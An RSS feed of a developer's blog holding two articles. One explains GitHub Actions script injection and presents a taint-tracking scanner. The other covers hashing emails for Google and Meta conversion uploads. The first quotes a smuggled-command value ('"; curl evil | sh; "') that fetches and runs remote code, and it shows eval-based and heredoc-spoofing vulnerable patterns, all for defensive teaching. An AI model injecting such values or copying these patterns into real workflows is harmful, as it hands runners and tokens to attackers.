<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Vinicius Pereira</title>
    <description>The latest articles on DEV Community by Vinicius Pereira (@vinimabreu).</description>
    <link>https://dev.to/vinimabreu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4010065%2Ff3d37966-fcdb-4c21-9df3-f47b258b99bd.jpeg</url>
      <title>DEV Community: Vinicius Pereira</title>
      <link>https://dev.to/vinimabreu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vinimabreu"/>
    <language>en</language>
    <item>
      <title>An injection that moved is not an injection that was fixed</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 22 Sep 2026 23:52:15 +0000</pubDate>
      <link>https://dev.to/vinimabreu/an-injection-that-moved-is-not-an-injection-that-was-fixed-2oeo</link>
      <guid>https://dev.to/vinimabreu/an-injection-that-moved-is-not-an-injection-that-was-fixed-2oeo</guid>
      <description>&lt;p&gt;Every guide to GitHub Actions script injection ends with the same fix. You have this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;helper-cli --prompt "${{ github.event.comment.body }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the runner expands the expression into the script before bash ever sees it, so a comment containing &lt;code&gt;"; curl evil | sh; "&lt;/code&gt; runs on your runner with your token. The fix is to move the value into an environment variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;BODY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.comment.body }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;helper-cli --prompt "$BODY"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now bash expands &lt;code&gt;$BODY&lt;/code&gt; at runtime, as a value, and the quotes hold. Every scanner that looks for &lt;code&gt;${{ }}&lt;/code&gt; inside &lt;code&gt;run:&lt;/code&gt; blocks stops reporting the line. The pull request gets merged with "fixed template injection" in the title.&lt;/p&gt;

&lt;p&gt;I spent a day this month verifying one of those fixes by hand, for a finding I had reported and cannot name yet because it is still in coordinated disclosure. The maintainer's fix moved the value into &lt;code&gt;env:&lt;/code&gt;, then passed it through &lt;code&gt;with:&lt;/code&gt; into a composite action. The scanner was satisfied. I was not, because nothing about the move says what happens to the value next. So I followed it: &lt;code&gt;env:&lt;/code&gt; in the workflow, &lt;code&gt;with:&lt;/code&gt; into the action, &lt;code&gt;env:&lt;/code&gt; again inside the action, a shell script that only delegates, a Node wrapper, and finally a &lt;code&gt;spawn()&lt;/code&gt; call with &lt;code&gt;shell: false&lt;/code&gt; and the value as one element of an argv array. Seven hops. At the end of hop seven the value is a value and the injection is dead.&lt;/p&gt;

&lt;p&gt;It could just as easily have been alive. If the shell script had done &lt;code&gt;eval "$HELPER_PROMPT"&lt;/code&gt;, or the Node wrapper had done &lt;code&gt;execSync(\&lt;/code&gt;helper-cli --prompt ${prompt}&lt;code&gt;)&lt;/code&gt;, the same fix would have shipped with the same commit title, and the same scanner would have stayed quiet.&lt;/p&gt;

&lt;p&gt;That is the gap I wrote &lt;a href="https://github.com/vinimabreu/taint-trail" rel="noopener noreferrer"&gt;taint-trail&lt;/a&gt; to close.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the existing scanner does, and where it stops
&lt;/h2&gt;

&lt;p&gt;If you run one tool on your workflows, run &lt;a href="https://github.com/zizmorcore/zizmor" rel="noopener noreferrer"&gt;zizmor&lt;/a&gt;. It audits for template injection, dangerous triggers, unpinned actions, cache poisoning, permissions and a long list of other things, and it is fast and well maintained. This is not a replacement for it.&lt;/p&gt;

&lt;p&gt;zizmor's injection check works on the shape of the text: an untrusted expression inside a script is a finding. That check is exactly right for the "before" of every fix, and it is why the fix everyone applies is "get the expression out of the script". Once the expression is in &lt;code&gt;env:&lt;/code&gt;, the shape is gone and the check has nothing to say. It does not follow the variable, because that was never its job.&lt;/p&gt;

&lt;p&gt;taint-trail starts where that check ends. It keeps the classic &lt;code&gt;run:&lt;/code&gt; check, so the "before" is still caught, and spends the rest of its effort on the "after".&lt;/p&gt;

&lt;h2&gt;
  
  
  What the after looks like
&lt;/h2&gt;

&lt;p&gt;Same fixture as the real case, with invented names. Before the fix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail tests/fixtures/workflows/direct_run_injection.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/direct_run_injection.yml / job helper
  tests/fixtures/workflows/direct_run_injection.yml:11  run  (${{ github.event.comment.body }} interpolated into the script)
  SHELL: expression expanded into the shell script before it runs (the classic injection)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix that moved the value into &lt;code&gt;env:&lt;/code&gt; and then did the one thing you must not do with it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail tests/fixtures/workflows/moved_not_fixed.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_not_fixed.yml / job helper
  tests/fixtures/workflows/moved_not_fixed.yml:12  env BODY
  tests/fixtures/workflows/moved_not_fixed.yml:15  run  (eval "$BODY")
  SHELL: eval re-parses the value as shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the fix that actually worked, followed into the action it calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail --actions-dir tests/fixtures/actions tests/fixtures/workflows/moved_and_died.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_and_died.yml / job helper
  tests/fixtures/workflows/moved_and_died.yml:13  env BODY
  tests/fixtures/workflows/moved_and_died.yml:16  with prompt  (env.BODY -&amp;gt; example/helper-action@v1)
  tests/fixtures/actions/example/helper-action/v1/action.yml:4  inputs.prompt
  tests/fixtures/actions/example/helper-action/v1/action.yml:19  env HELPER_PROMPT  (inputs.prompt)
  tests/fixtures/actions/example/helper-action/v1/action.yml:21  run  (bash "$GITHUB_ACTION_PATH/scripts/run-helper.sh")
  tests/fixtures/actions/example/helper-action/v1/scripts/run-helper.sh:4  script run-helper.sh  (exec node "$DIR/../dist/index.js")
  tests/fixtures/actions/example/helper-action/v1/dist/index.js:4  process.env.HELPER_PROMPT
  DIES (heuristic): argv array via spawn( at tests/fixtures/actions/example/helper-action/v1/dist/index.js:7; no shell: true, no exec(, no execSync(
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every hop is a file and a line where the value changed hands. That format is not decoration. When I sent the maintainer my verification, what I sent was not "I think it is safe now". It was the list of hops with the line numbers, so they could read each one themselves. A verdict without the chain is an opinion. A verdict with the chain is a reading assignment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6uur1up0ogepuog0aim1.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6uur1up0ogepuog0aim1.gif" alt="A comment body moved into env: and handed to a composite action, followed hop by hop to a spawn with no shell, then the same move ending in eval" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Five endings, and one of them is "I do not know"
&lt;/h2&gt;

&lt;p&gt;A chain ends in one of five ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;SHELL&lt;/code&gt;: the value is re-parsed as code. The expression expanded into the script, or the variable reached &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;bash -c&lt;/code&gt;, &lt;code&gt;source&lt;/code&gt;, &lt;code&gt;xargs&lt;/code&gt;, a pipe into &lt;code&gt;sh&lt;/code&gt;, an interpreter's &lt;code&gt;-c&lt;/code&gt;/&lt;code&gt;-e&lt;/code&gt; string, an interpreter's standard input, or the command position of a line. Exit 1.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SPOOF&lt;/code&gt;: the value is written to &lt;code&gt;$GITHUB_OUTPUT&lt;/code&gt; or &lt;code&gt;$GITHUB_ENV&lt;/code&gt; in a way that lets it add keys. More on this below. Exit 1.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SUSPECT (heuristic)&lt;/code&gt;: a JavaScript action looks like it builds a command string with the value. Pattern match, not parsing, and the output says so.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DIES&lt;/code&gt;: the value ended as a value. Quoted into an argument, echoed, one element of an argv array, written to the output file under a random delimiter.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;UNKNOWN: &amp;lt;reason&amp;gt;&lt;/code&gt;: the tool could not follow and refuses to guess.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The last one took the most discipline to keep. The temptation in a tool like this is to make UNKNOWN disappear, because a report full of UNKNOWNs feels like a tool that does not work. But the alternatives are worse. Marking an unreadable action as DIES is a lie that hides an injection; marking it as SHELL is a lie that trains people to ignore the tool. So UNKNOWN is a first-class verdict and the reason is always concrete: the action is not vendored locally, it is a docker action so the arguments reach an entrypoint the tool does not read, the JavaScript matched no pattern, the step's shell is &lt;code&gt;pwsh&lt;/code&gt; or &lt;code&gt;python&lt;/code&gt;, the heredoc delimiter could not be proven random, the file it would open resolves outside its root.&lt;/p&gt;

&lt;p&gt;Take the composite action out of the local directory and the seven-hop chain above becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  UNKNOWN: action example/helper-action@v1 not available locally (vendor it under --actions-dir as owner/repo/ref/action.yml, or run with --fetch)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It tells you where it stopped and what would let it continue. That is the whole contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  The spoof nobody is looking for
&lt;/h2&gt;

&lt;p&gt;The second verdict comes from a pattern that is everywhere in workflows, and no template check will ever flag it, because there is no template in it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;parse&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;BODY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.issue.body }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;{&lt;/span&gt;
      &lt;span class="s"&gt;echo "body&amp;lt;&amp;lt;EOF"&lt;/span&gt;
      &lt;span class="s"&gt;echo "$BODY"&lt;/span&gt;
      &lt;span class="s"&gt;echo "EOF"&lt;/span&gt;
    &lt;span class="s"&gt;} &amp;gt;&amp;gt; "$GITHUB_OUTPUT"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no expression in the script. The variable is only echoed. Every template-injection check passes. And an issue whose body contains a line that says &lt;code&gt;EOF&lt;/code&gt; closes the heredoc early, so every line after it is parsed by the runner as a new &lt;code&gt;key=value&lt;/code&gt; pair. The attacker now sets step outputs that the next step reads as &lt;code&gt;${{ steps.parse.outputs.anything }}&lt;/code&gt;, and if that next step interpolates one of those outputs into a &lt;code&gt;run:&lt;/code&gt; block, the next step is the classic injection again, one hop later. The one-line form &lt;code&gt;echo "body=$BODY" &amp;gt;&amp;gt; "$GITHUB_OUTPUT"&lt;/code&gt; has the same problem with a plain newline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail tests/fixtures/workflows/spoof_static_delimiter.yml
github.event.issue.body  [untrusted]  tests/fixtures/workflows/spoof_static_delimiter.yml / job triage
  tests/fixtures/workflows/spoof_static_delimiter.yml:11  env BODY
  tests/fixtures/workflows/spoof_static_delimiter.yml:15  run  (echo "$BODY")
  SPOOF: written to $GITHUB_OUTPUT inside a heredoc block whose delimiter 'EOF' is static; a value containing that line closes the block early and the rest is parsed as new keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix is the one GitHub documents, a delimiter the attacker cannot predict:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;delimiter="$(openssl rand -hex 16)"&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;echo "body&amp;lt;&amp;lt;$&lt;/span&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;delimiter&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="s"&gt;echo&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BODY"&lt;/span&gt;
  &lt;span class="nv"&gt;echo "$&lt;/span&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;delimiter&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="s"&gt;}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_OUTPUT"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which the tool reports as &lt;code&gt;DIES: written to $GITHUB_OUTPUT under a random heredoc delimiter&lt;/code&gt;. A delimiter built from &lt;code&gt;$$&lt;/code&gt; or the clock is not proven random, so that one ends as UNKNOWN rather than DIES, on purpose.&lt;/p&gt;

&lt;p&gt;Recognising this block turned out to be most of the shell-matching work in the project. Bash lets you write that group forty different ways: one line, opening brace with content on the same line, closing brace on the last body line, nested in a subshell, after &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, inside an &lt;code&gt;if&lt;/code&gt;, inside a &lt;code&gt;for&lt;/code&gt; whose &lt;code&gt;done&lt;/code&gt; carries the redirect, closing with a &lt;code&gt;\&lt;/code&gt; continuation. The test suite has 42 fixture layouts of the group and each one has to end in SPOOF. I found most of them the hard way, by attacking the matcher after each round and adding the shape that got through.&lt;/p&gt;

&lt;h2&gt;
  
  
  Outputs are tainted as a set, on purpose
&lt;/h2&gt;

&lt;p&gt;There is one place where the tool deliberately over-reports, and I want to be explicit about it because it is a design choice, not a bug.&lt;/p&gt;

&lt;p&gt;When a step has a tainted variable in its environment and its script writes to &lt;code&gt;$GITHUB_OUTPUT&lt;/code&gt;, the tool taints every output of that step. It does not try to prove which keys the script wrote. Same for a JavaScript action that received a tainted input: every output it declares is tainted, and so is every output it did not declare, because &lt;code&gt;core.setOutput&lt;/code&gt; can set a name the manifest never mentions.&lt;/p&gt;

&lt;p&gt;Proving which output got the value would need a real dataflow analysis of bash and JavaScript, and a wrong answer there would be silent. Over-approximating means a few more chains to read and zero chains that were hidden. The hop says &lt;code&gt;over-approximation&lt;/code&gt; so nobody mistakes it for a proof.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it does not do
&lt;/h2&gt;

&lt;p&gt;The README has a section called "Limits, stated plainly" and I will repeat the important ones here, because a security tool that does not state its limits is asking you to trust it, and I would rather you read it.&lt;/p&gt;

&lt;p&gt;Bash is matched by pattern, not parsed. &lt;code&gt;bash -c 'tool "$1"' _ "$VAR"&lt;/code&gt; is a safe idiom and the tool reports it as SHELL anyway, because it sees &lt;code&gt;bash -c&lt;/code&gt; and the variable on the same line. Read the line the chain points at.&lt;/p&gt;

&lt;p&gt;JavaScript is a heuristic, and every verdict from it carries the word. There is no dataflow analysis. A bundled action whose &lt;code&gt;getInput('x')&lt;/code&gt; string survived bundling is matched; one that renamed it is UNKNOWN.&lt;/p&gt;

&lt;p&gt;Docker actions are opaque. Reusable workflows are followed one level. Secrets are trusted by definition. The only untrusted source is a &lt;code&gt;${{ }}&lt;/code&gt; expression, so a value read inside &lt;code&gt;github-script&lt;/code&gt; through &lt;code&gt;context.payload&lt;/code&gt; starts no chain.&lt;/p&gt;

&lt;p&gt;And a handful of shell shapes are simply not matched: command substitution in command position, &lt;code&gt;set -- $V&lt;/code&gt; followed by &lt;code&gt;"$@"&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt; with &lt;code&gt;system()&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt; reached through a variable. Every one of these has a fixture in the repository named &lt;code&gt;gap_*.yml&lt;/code&gt; that pins the current behaviour, one fixture per line in that README section, and the suite pins the count. Adding a pattern means deleting a fixture and its line. That rule is what let me stop: the README promises exactly what the code does, no more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Running it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
taint-trail .github/workflows
taint-trail .github/workflows &lt;span class="nt"&gt;--actions-dir&lt;/span&gt; ./vendored-actions &lt;span class="nt"&gt;--strict&lt;/span&gt; &lt;span class="nt"&gt;--json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One runtime dependency, PyYAML. No network unless you pass &lt;code&gt;--fetch&lt;/code&gt;, which shallow-clones every missing &lt;code&gt;owner/repo@ref&lt;/code&gt; into the actions directory once and then scans. Every file the tool opens is checked against a root after resolving symlinks, and the tests create real symlinks pointing outside to assert that the content never shows up in a hop. The CI runs the tool on its own workflows with &lt;code&gt;--strict&lt;/code&gt;, then on two fixtures it must flag, asserting exit 1 with SHELL and SPOOF in the output. The second step is the one that matters: the first alone would pass for a tool that finds nothing.&lt;/p&gt;

&lt;p&gt;If your fix for an injection was "move it into env", this tells you whether the job is now safe or just quieter.&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>devops</category>
      <category>python</category>
    </item>
    <item>
      <title>The offline conversion importer you write today fails in the next ad account</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Thu, 17 Sep 2026 16:29:16 +0000</pubDate>
      <link>https://dev.to/vinimabreu/the-offline-conversion-importer-you-write-today-fails-in-the-next-ad-account-1nc4</link>
      <guid>https://dev.to/vinimabreu/the-offline-conversion-importer-you-write-today-fails-in-the-next-ad-account-1nc4</guid>
      <description>&lt;p&gt;Google's guide for importing offline conversions opens with a warning box that is very easy to scroll past:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Starting June 15, 2026, UploadClickConversion requests will fail if the developer token hasn't previously sent requests to upload offline conversions or enhanced conversions for leads.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And then it says what to do instead: use the Data Manager API.&lt;/p&gt;

&lt;p&gt;Read the condition again, because the condition is the whole story. It is not about your code and it is not about the ad account. It is about history on the developer token. A token that has been uploading offline conversions for a year keeps working. A token issued for a new integration has no history at all, so identical code that has run fine for a year fails the first time it runs somewhere new.&lt;/p&gt;

&lt;p&gt;That is the worst failure shape on offer. It passes everywhere it was tested and breaks at the next install, and the person who finds out is the next advertiser, not you. The replacement endpoint is &lt;code&gt;POST https://datamanager.googleapis.com/v1/events:ingest&lt;/code&gt;, and it is a different request body, a different scope, a different error vocabulary and a different failure model from the Google Ads API call most sample code still shows.&lt;/p&gt;

&lt;p&gt;So I built the bridge against that endpoint, plus the Meta Conversions API &lt;code&gt;/events&lt;/code&gt; edge on the other side, and wrote down every place where the documentation left room to guess.&lt;/p&gt;

&lt;h2&gt;
  
  
  The loop, in one sentence
&lt;/h2&gt;

&lt;p&gt;A CRM knows which deals closed and for how much. The ad platforms know which clicks they served. Almost nobody owns the piece in between, which is why "we closed forty deals in March and Google shows thirty-one" is such a common question and such a hard one to answer. This pattern shows up in a lot of advertising work, and the shape is always the same.&lt;/p&gt;

&lt;p&gt;The package is called revenue-loop and it exists to make one sentence true: &lt;strong&gt;a conversion is uploaded exactly once, attributed to the campaign the lead actually came from, or it is quarantined with the reason named.&lt;/strong&gt; It never invents an attribution identifier. 734 tests, one runtime dependency, and the whole suite runs offline in under a second.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxwwtkvip3nqeqvzr5f9x.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxwwtkvip3nqeqvzr5f9x.gif" alt="One won deal reaching Google and Meta exactly once: the same email hashed two different ways, a single key shared by both destinations, the CRM firing the same deal again and spending zero requests, and three conversions refused with the reason named" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every number in that animation comes from &lt;code&gt;python examples/loop_demo.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now the part that has to be said plainly, because everything else depends on it. &lt;strong&gt;There is no ad account and no pixel behind this repository. No token was issued and no live call has been made.&lt;/strong&gt; Both platforms ship as deterministic fakes that model their documented semantics: Google's fast-fail request model and its 2,000 event ceiling, Meta's 1,000 event ceiling, its 48 hour deduplication on &lt;code&gt;event_id&lt;/code&gt; plus &lt;code&gt;event_name&lt;/code&gt;, its seven day &lt;code&gt;event_time&lt;/code&gt; rule that fails an entire request. The live adapters exist and their URLs, headers, encodings and error mapping are unit tested, but a run against a real account has not happened, and there is a RUNBOOK whose job is to turn it on honestly the day one exists.&lt;/p&gt;

&lt;p&gt;That limit is what makes the rest checkable. Everything below is reproducible from a clone with no key.&lt;/p&gt;

&lt;h2&gt;
  
  
  The same customer, two hashes, both correct
&lt;/h2&gt;

&lt;p&gt;Here is the part that costs money quietly. This is verbatim from the offline demo, which a test pins byte for byte so the README cannot drift:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;raw email:      cloudy.sanfrancisco+shopping@gmail.com
google form:    cloudysanfrancisco@gmail.com   (gmail rules: dots and +suffix removed)
meta form:      cloudy.sanfrancisco+shopping@gmail.com   (lowercase and trim, nothing else)
google sha256:  223ebda6f6889b1494551ba902d9d381daf2f642bae055888e96343d53e9f9c4
meta sha256:    8dd4a9bf850242873c14976125edabc35096192b784626a5641a7d2de56e3c1e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That address is Google's own worked example. Its formatting guide requires, for &lt;code&gt;gmail.com&lt;/code&gt; and &lt;code&gt;googlemail.com&lt;/code&gt; only, removing every dot before the &lt;code&gt;@&lt;/code&gt; and the &lt;code&gt;+&lt;/code&gt; with everything after it. Meta's customer information reference asks for whitespace removal and lowercasing and nothing else, and its own worked example is &lt;code&gt;John_Smith@gmail.com&lt;/code&gt; becoming &lt;code&gt;john_smith@gmail.com&lt;/code&gt;: a Google-operated domain keeping a local part the Google rules would have changed.&lt;/p&gt;

&lt;p&gt;One shared &lt;code&gt;normalise_email&lt;/code&gt; is therefore wrong for at least one destination on every gmail address you own. And the wrongness is silent. The upload succeeds, the event is received, the conversion is simply never matched to anybody. Google says it in as many words, warning that skipping those rules "will result in different hash values than Google expects for these domains, leading to missed matches". Nothing raises. The campaign just looks worse than it is.&lt;/p&gt;

&lt;p&gt;The divergence keeps going in smaller places. Google keeps the hyphen in a family name, Meta strips punctuation. Google wants E.164 with the &lt;code&gt;+&lt;/code&gt;, Meta wants digits only. So the package normalises twice, once per dialect, and six hashes in the suite are Meta's own published vectors, input and expected digest both, reproduced exactly. Google's guide publishes normalised forms rather than digests, so its three worked examples are pinned at that level. Two of those vectors are non-ASCII, which matters more than it looks: an implementation that strips non-ASCII "to be safe" produces a wrong hash for both and loses every non-English customer in the account.&lt;/p&gt;

&lt;p&gt;Where the documentation is silent, the silence is named instead of filled. The biggest one is which Unicode case operation "lowercase" means. Both vendors write "convert to lowercase", and &lt;code&gt;str.lower&lt;/code&gt; and &lt;code&gt;str.casefold&lt;/code&gt; disagree on real input, since casefold maps &lt;code&gt;ß&lt;/code&gt; onto &lt;code&gt;ss&lt;/code&gt;, which is a transliteration. This uses &lt;code&gt;str.lower&lt;/code&gt; and a test pins it, because a well-meaning refactor to casefold would change every hash in the system without turning anything red. I have &lt;a href="https://dev.to/vinimabreu/pythons-casefold-merged-two-of-my-customers-into-one-tenant-1g75"&gt;paid for the casefold version of this lesson in production once already&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug that lied about the reason
&lt;/h2&gt;

&lt;p&gt;This one was found in a skeptical review pass before publishing, and it is the best thing in the repository.&lt;/p&gt;

&lt;p&gt;The upload store is written only after a destination confirms. That asymmetry is deliberate: recording an upload that did not happen loses a conversion silently and forever, while recording nothing for an upload that did happen costs one duplicate request that the deterministic key makes harmless.&lt;/p&gt;

&lt;p&gt;But a store that is written after the send is not consulted usefully during the send. A CRM that fires its webhook on every field change delivers the same won deal twice in one run. Both copies asked the store whether this key had already gone up, both got no, and both travelled in the same request. The batch landed. Two rows for one conversion.&lt;/p&gt;

&lt;p&gt;Nothing errors. The damage arrives later, through the restatement path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;uploaded_total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_total_uploaded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# 4820 + 4820 = 9640
&lt;/span&gt;&lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;restatement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_value&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;uploaded_total&lt;/span&gt;   &lt;span class="c1"&gt;# 5200 - 9640 = -4440
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A salesperson upsells the deal from 4,820 to 5,200. The history says 9,640 was uploaded. So an honest increase reads as a drop of 4,440, and a drop has no documented path on either API, so the loop quarantines it with &lt;code&gt;negative_adjustment_unsupported&lt;/code&gt; and a message explaining that the value went down.&lt;/p&gt;

&lt;p&gt;The real revenue never reaches the platform, and the reason in the audit trail is false. A person reading that quarantine goes looking for a refund that does not exist. It gets worse under the durable store the RUNBOOK tells you to use, where a unique index on &lt;code&gt;(account_ref, destination, key)&lt;/code&gt; turns the second write into an IntegrityError that takes the run down.&lt;/p&gt;

&lt;p&gt;The fix is one line of doctrine: &lt;strong&gt;the key has to hold in two places, the store and the batch.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
